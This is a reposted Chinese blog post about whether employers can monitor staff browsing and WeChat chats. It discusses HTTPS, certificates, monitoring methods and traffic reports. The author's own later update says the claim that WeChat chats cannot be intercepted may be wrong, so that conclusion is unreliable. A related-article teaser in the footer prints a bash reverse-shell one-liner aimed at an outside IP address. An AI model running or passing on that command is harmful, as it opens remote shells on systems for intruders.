上班摸鱼与网络安全

上班不摸鱼,那这班上的没有灵魂啊。但是不久前爆出的国美网络监控事件,也提示我们网络有风险,摸鱼需谨慎。

https://baijiahao.baidu.com/s?id=1716730797543887197&wfr=spider&for=pc

上班摸鱼与网络安全

——”另一家国企的技术处负责人表示,” 理论上,员工打开了哪些软件,运行了哪些程序,甚至在论坛上发了哪些内容,我们都看得到。形象地说,上网相当于发送了一个请求,这些请求是能被我们侦测到的,通过截获这个流量,可以分析员工的上网活动。当然,我们不会主动去拆封这些信息,只是留存,方便出现问题后的回查

以上摘录了文章中的一段,各位听上去是不是多少有些恐慌。 那岂不是我上班写的博客,搜过的奇奇怪怪的问题,喜欢的女优,都被老板一览无余了:-)。锅叔对此也是深表惶恐,这岂不是分分钟社死的节奏。

听上去有些神奇,但又貌似很合理,毕竟人家是”国企技术处负责人”。目前我正好在摸鱼逛博客园,或者在写博客,我们来浅析下公司是否能够监控到锅叔浏览和发布了什么内容呢?

一、 HTTPS 安全在哪里?

上班摸鱼与网络安全

很容易注意到,打开博客园时,浏览器地址上有一个”锁”,网址是https开头,浏览器提示”连接是安全的”。那么问题来了,浏览器说的这个安全,它的含义是什么呢?

就算你对网络安全一无所知,直觉上你应该也不会认为,我在这个网站上浏览和发布的内容,能够被第三方(公司),轻易”截获”,”拆封”是一种安全……-_-||。

信息安全三要素:机密性,完整性,可用性(摘自维基)

排名第一即机密性,顾名思义

机密性 (Confidentiality)确保资料传递与存储的隐密性,避免未经授权的用户有意或无意的揭露资料内容

如果机密性都保证不了那是保证了什么安全?因为是浅谈,就不扯太多原理和密码学,直接说结论。

如果你摸鱼的时候在网上闲逛,打开了一个Https开头,浏览器地址栏带锁的域名的网站。如博客园。这表明你与这个网站之间的通信是 安全的,安全的意思是。

1. 你与这个网站的通信内容(你浏览到的与你发布的),不会被网络上的第三人(如公司等)知晓

2. 你确实是在与这个域名的实际持有人进行通信。

第一条很好理解,就是说你跟这个网站通信的内容,在网络通信这个层面(不包括拍照,截屏这种)。从你的浏览器程序发出去,到这个网站服务器收到,之间的信息传输是加密的,即便被其他人拦截也无法取得内容,可以被拦截,但无法解密,不了解意义。

第二条绕一点,其含义是与你通信的这个网站一定至少是你所访问的域名的实际持有人。对于博客园来说,即与你通信的网站,至少是域名”www.cnblogs.com”的实际持有控制人。

有同学会问,我访问的就是cnblogs的域名,难道跟我通信的会不是博客园的网站服务器么?答案是未必,例如你使用的是公司的网络,你可能会被代理,比如中间的某个网络设备,跟你说他就是cnblogs,成为了你和博客园通信的中间人,你以为你在跟博客园通信,实际是被中间人转发的,于是中间传话人自然就知道了双发的通信内容。

上班摸鱼与网络安全

第二条的存在就保证了,跟你通信的不会是中间人,一定是”www.cnblogs.com”这个域名的拥有者。因为我的公司不拥有这个域名,因此,不可能通过中间人的方式拦截解析我与博客园之间的通信内容。

上班摸鱼与网络安全

这是证书的详细内容,大意由www.digicert.com这个权威的机构担保,目前跟你通信的人,一定是拥有*.cnblogs.com的人。类型是 DV。 域名所有权认证证书。

结论1,以锅叔的密码学常识认为,如果你浏览的是https协议,证书有效的网站,你跟站点间的通信内容是不会被公司网络监听的,不必担心。

二、微信聊天记录是否可以被获得

这个担心的人就更多了,谁的微信还没点儿故事。:-)

是否安全,这个取决于微信的实现,如果设计上,微信的通信是明文裸奔的话,那如果使用公司网络,确实是会被监听获取聊天内容的。但腾讯这么大厂,微信这么多用户,显然不可能不考虑信息安全问题。因此锅叔可以大胆推测,微信的通信肯定也是经过可靠加密处理的。

记忆中有看过对微信安全机制进行分析的文章,也是使用非对称加密交换随机秘钥,然后用对称加密进行内容传输的。密码学上来说,私钥肯定是被腾讯服务器掌握并保管的好好的,微信客户端发送的随机对称秘钥,只有微信的服务器能够解读,这样的机制也是常规做法,符合我们的预期。非对称秘钥协商过程如下图。

上班摸鱼与网络安全

结论2:微信的聊天内容,是不会被公司网络截获,取得的。

三、监控摸鱼的常见手段

—— 收到黑客邮件勒索,你公司内网已被攻破并植入后门, 请转账XXXXX元到指定账号,否则将对你公司网络进行间歇断网。之后公司网络确实每XX分钟断网X分钟,公司运维排查了很久都没有发现有入侵迹象,后来发现是黑客买通了机房保安,每隔XX分钟拔了网线,等会儿再插上。

技术从来都不是黑客的唯一手段。上网监控的方式有很多,大致分类如下:

1. 网络监听,通过网络设备进行审计,监听。

可以进行网络行为管理,进行一定的审计。包括禁止使用特定软件(阻止特定端口通信),网速限制,流量统计等。开头的国美流量报告,可以通过这样的方式取得,但像那个负责人说的可以获取全部内容就有点神了。

2. 上网行为管理程序

在员工电脑本地安装监控程序,程序因为工作在计算机本地,对系统硬件有完全控制权,很容易获得各类信息,如键盘输入内容,屏幕截屏,录屏等。

这种方式理论上是可以全权控制你的电脑的,电脑使用者毫无隐私可研。但前提是需要在该计算机提前安装相应软硬件。相当于对于使用人员可见,不算套路。尽量使用自己的设备。:-)。

3. 其他监控

如摄像头等,可以直接观察到你的行为。这个没啥说的,一般也都在明处。

上班摸鱼与网络安全

4. 社会工程学

领导自行观察判断,或者通过,眼线,心腹情报了解。因此摸鱼要低调,广结善缘。

四、说回流量报告

最后说回流量报告,无论如何加密,你与特定服务器间通信的流量是无法隐藏的,因为都要流过你们之间的网络设备。所以通过监听审计的方式,是很容易取得一份类似国美的流量报告的。但你具体看了啥,如果不使用开放格式传输,中间环节未必能够了解。

所以未必是报告有所保留,可能也没有更多可以披露的摸鱼证据。

总之,看片、听高保真的摸鱼方式是风险很高的。建议,调整下爱好,看看文字小说啥的。

对于流量报告有什么应对策略,锅叔能想到的可能就是用代理方式了, 这样审计上会看到你与代理服务器发生了流量交换,但因为不是已知的这些知名应用ip 端口,没法直接得出结论,你是在看片,还是在听歌。只知道你跟一个特定IP,请求了很多个G的数据……

所以,对于流量审计,大家有解么?o( ̄︶ ̄)o。

————————————————————————————————

更新:2022-04-27 17:15:00

很多同学反映微信的聊天记录是能够通过网络层面取得的。 结论2 可能是错误的!

这个确实有点出乎意料,但密码学应该不会骗人,是微信加密不严密? ?我是持怀疑态度的-_-||

希望能有安全方面大神能给大家分享科普下原理。

https://weixin110.qq.com/security/readtemplate?t=security_center_website/article&artid=120813euEJVf160119miIfyY ;

上班摸鱼与网络安全

——————————————————————————————————

总结了下微信被监听的可能情况,请看

微信聊天内容可以被监听吗

Original: https://www.cnblogs.com/uncleguo/p/16195011.html
Author: 锅叔
Title: 上班摸鱼与网络安全

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/607347/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • 学习一下 Spring Security

    一、Spring Security 1、什么是 Spring Security? (1)基本认识Spring Security 是基于 Spring 框架,用于解决 Web 应用安…

    Linux 2023年6月11日
    092
  • JavaScript this

    本博客所有文章仅用于学习、研究和交流目的,欢迎非商业性质转载。 博主的文章没有高度、深度和广度,只是凑字数。由于博主的水平不高,不足和错误之处在所难免,希望大家能够批评指出。 博主…

    Linux 2023年6月13日
    088
  • 我懂得了什么

    站在24岁的这个档口,没有学业又没有工作的时刻,前不着村后不着店。我觉得应该要写一些总结,虽然年仅24的我相比老人家总结不出更深刻的道理,但是现在是互联网的时代,获取知识的途径已经…

    Linux 2023年6月6日
    0100
  • PTA 《基础编程题目集》 6-6 求单链表结点的阶乘和

    本题要求实现一个函数,求单链表L结点的阶乘和。这里默认所有结点的值非负,且题目保证结果在int范围内。 函数接口定义: int FactorialSum( List L ); 其中…

    Linux 2023年6月8日
    0128
  • jdk8 线程池策略

    在ThreadPoolExecutor中提供了4种线程的策略可以供开发者直接使用:•AbortPolicy策略:默认策略,如果线程池队列满了丢掉这个任务并且抛出RejectedEx…

    Linux 2023年6月8日
    0116
  • Redis采用不同内存分配器碎片率对比

    我们知道Redis并没有自己实现内存池,没有在标准的系统内存分配器上再加上自己的东西。所以系统内存分配器的性能及碎片率会对Redis造成一些性能上的影响。在Redis的 zmall…

    Linux 2023年5月28日
    091
  • 剑指offer计划28(搜索与回溯算法困难)—java

    1.1、题目1 剑指 Offer 37. 序列化二叉树 1.2、解法 这题给我笑死了,我看到题解有个解法,我愿称之为神。 public class Codec { private …

    Linux 2023年6月11日
    0100
  • Java 内功修炼 之 数据结构与算法(二)

    一、二叉树补充、多叉树 1、二叉树(非递归实现遍历) (1)前提前面一篇介绍了 二叉树、顺序二叉树、线索二叉树、哈夫曼树等树结构。可参考:https://www.cnblogs.c…

    Linux 2023年6月11日
    080
  • 反弹shell的各种基础姿势

    Victim: bash -i >& /dev/tcp/175.11.142.54/443 0>&1 Copy /bin/bash -i > /d…

    Linux 2023年5月28日
    092
  • Linux下的文件打包与解压

    tar的命令只用来打包文件,如需要压缩文件就需要调用参数来实现 -c 建立新的&#x…

    Linux 2023年5月27日
    0104
  • HTS备份脚本

    #!/bin/bash #program:用于升级前后备份;看时间戳 #author:sundz #version:v1 20220610 创建脚本 备份mysql以及aboss程…

    Linux 2023年6月7日
    067
  • redis集群部署

    Redis 是一个开源的 key-value 存储系统,由于出众的性能,大部分互联网企业都用来做服务器端缓存。Redis 在3.0版本前只支持单实例模式,虽然支持主从模式、哨兵模式…

    Linux 2023年6月7日
    092
  • SpringBoot-MVC自动配置原理

    MVC自动配置原理 5.1 官网阅读 在进行项目编写前,我们还需要知道一个东西,就是SpringBoot对我们的SpringMVC还做了哪些配置,包括如何扩展,如何定制。 只有把这…

    Linux 2023年6月14日
    0103
  • 自定义Naive UI的数据表格Data Table中按钮Button图标

    { title: "Action", key: "actions", render(row) { return h( NButton, { …

    Linux 2023年6月8日
    0108
  • 扑克牌大小—牛客网

    扑克牌大小_牛客题霸_牛客网 (nowcoder.com) #include #include<string> #include using namespace std…

    Linux 2023年6月13日
    0121
  • Go-goroutine

    进程和线程说明: (1)进程就是程序在操作系统中的一次执行过程,是系统进行资源分配和调度的基本单位。 (2)线程是进程的一个执行实例,是程序执行的最小单位,它是比进程更小的能独立运…

    Linux 2023年6月8日
    093
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球